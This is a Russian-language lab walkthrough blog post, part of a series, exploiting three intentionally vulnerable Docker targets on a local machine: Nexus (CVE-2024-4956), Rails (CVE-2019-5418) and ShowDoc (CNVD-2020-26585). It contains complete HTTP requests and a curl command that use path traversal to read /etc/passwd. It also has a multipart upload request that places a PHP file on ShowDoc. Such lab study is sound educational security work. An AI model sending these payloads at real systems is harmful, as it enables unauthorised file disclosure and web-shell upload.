Всех приветствую, читатели Хабра! Шестая часть анализа защищенности веб-приложений Vulnhub. Ссылки на первые четыре части, советую ознакомиться (в первой части детально разбираю где скачать образы уязвимых машин, как их поднять на докер, и многое другое):
https://habr.com/ru/articles/894508/
https://habr.com/ru/articles/895092/
https://habr.com/ru/articles/895856/
https://habr.com/ru/articles/897296/
https://habr.com/ru/articles/898918/ (это уязвимая ОС на virtualbox)
Примечание
Правовая информация:
Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей
Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.
И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением.
Алгоритм атаки будет следующий:
Запуск виртуальной машины (уязвимого веб-приложения) в сетевом интерфейсе
Сканирование цели (в моем случае сетевого моста — бриджа)
Эксплуатация уязвимости с burp suite.
Теперь практика. Снова поднимаю машины на бриджах (сетевых мостах)
1) Первая машина nexus, уязвимость CVE-2024-4956
Как всегда заходим в папку с уязвимым веб-приложением (в папке находится файл с расширением *.yml), открываем в папке терминал и вбиваем:
sudo docker-compose build
sudo docker-compose up -d
ifconfig

После чего сканируем цель
nmap -p- 172.19.0.1
На данном адресе есть открытый порт 8081. Зайдем по адресу 172.19.0.1:8081

Далее открываем burp suite, во вкладку Proxy, нажимаем захват пакетов (синий ползунок на фото ниже), открыть браузер, в браузере открываем адрес 172.22.0.1:8081, переходим


перехваченный пакет отправляем в репитер (Send to repeater правой кнопкой мыши по пакету)


Далее в репитере, в поле реквеста подменяем запрос на такой:
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Нажимаем кнопку отправить Send

Получаем доступ к файлу /etc/passwd
Доступ к данному файлу — серьезная уязвимость. Повторюсь, хотя в прошлых частях не раз упоминал, /etc/passwd — файл, содержащий в текстовом формате список пользовательских учётных записей (аккаунтов). Является первым и основным источником информации о правах пользователя операционной системы. Существует в большинстве версий и вариантов UNIX-систем. Обязан присутствовать в POSIX-совместимой операционной системе. (https://wiki.ublinux.ru/ru/Использование/Настройка/Вводная_информация)
Альтернативное решение
Я нашел альтернативное решение — данный файл можно прочитать и через терминал при помощи curl:
curl http://172.19.0.1:8081/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Далее необходимо остановить данную систему, чтобы поднять следующую. В терминале в данной директории роняем данную машину, введя команду:
sudo docker-compose down
2) Вторая машина rails, уязвимость CVE-2019-5418
После того, как мы уронили предидущую машину, заходим в папку с новой машиной, открываем терминал в папке, и снова запускаем ее командами в терминале:
sudo docker-compose build
sudo docker-compose up -d
ifconfig
Далее сканируем цель
nmap -p- 172.21.0.1

Видим открытый порт 3000
Пробуем зайти по адресу 172.21.0.1:3000

После чего снова открываем burp, заходим во вкладку прокси, нажимаем перехват пакетов, и снова открываем браузер. В открывшемся браузере забиваем адрес 172.21.0.1:3000, переходим


Перехваченный пакет отправляем в репитер


И снова в репитере стандартный реквест заменяем на специфичный:
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
После чего нажимаем Send

И снова доступ к выше упомянутому файлу /etc/passwd
3) Третья машина showdoc, уязвимость CNVD-2020-26585
Не забываем уронить старую виртуальную машину в предидущей директории в терминале:
sudo docker-compose down
И запустить новую машину в новой директории (с новой уязвимой машиной и файлом *.yml)
sudo docker-compose build
sudo docker-compose up -d
ifconfig
После чего находим мост, на котором запущена машина и сканируем его:
nmap -p- 172.22.0.1

Заходим по адресу 172.22.0.1:8080 в браузере

Далее все те же действия в burp: открываем burp, переходим в Proxy, нажимаемзахват пакетов, открываем браузер, вбиваем адрес 172.22.0.1:8080, переходим

После чего перехваченный пакет отправляем в репитер

В репитере снова подменяем реквест своим специфичным содержимым
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0RdOKBR8AmAxfRyl
Content-Length: 213
------WebKitFormBoundary0RdOKBR8AmAxfRyl
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
------WebKitFormBoundary0RdOKBR8AmAxfRyl--
Послечего нажимаем Send

В респонсе мы получили крайнюю строчку с php файлом. Теперь используя полученный респонс, еще немного подредактируем реквест вот таким образом (только первую строчку реквеста, опираясь на последнюю строку респонса)

И снова нажимаем Send
Теперь внимательно! После того, как запрос отправлен и получен ответ, необходимо перейти во вкладку Render в респонсе, и вот ее содержимое:

Теперь коротко об уязвомости. ShowDoc — это удобный инс трумент для того, чтобы делится файлами в сети. Однако в версии 2.8.7 обнаружена уязвимость, благодаря которой неаутентифицированный пользователь (злоумышленник), может загружать веб-оболочку, загружать файлы, и даже выполнять произвольный код на сервере.
В моем случае, первое что я сделал (первым запросом в реквест) получил необходимый мне php-файл (а точнее его адрес), а далее, отредактировав запрос, с учетом адреса данного файла я получил доступ к информации о системе, ПО, настройках и т. д.
А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!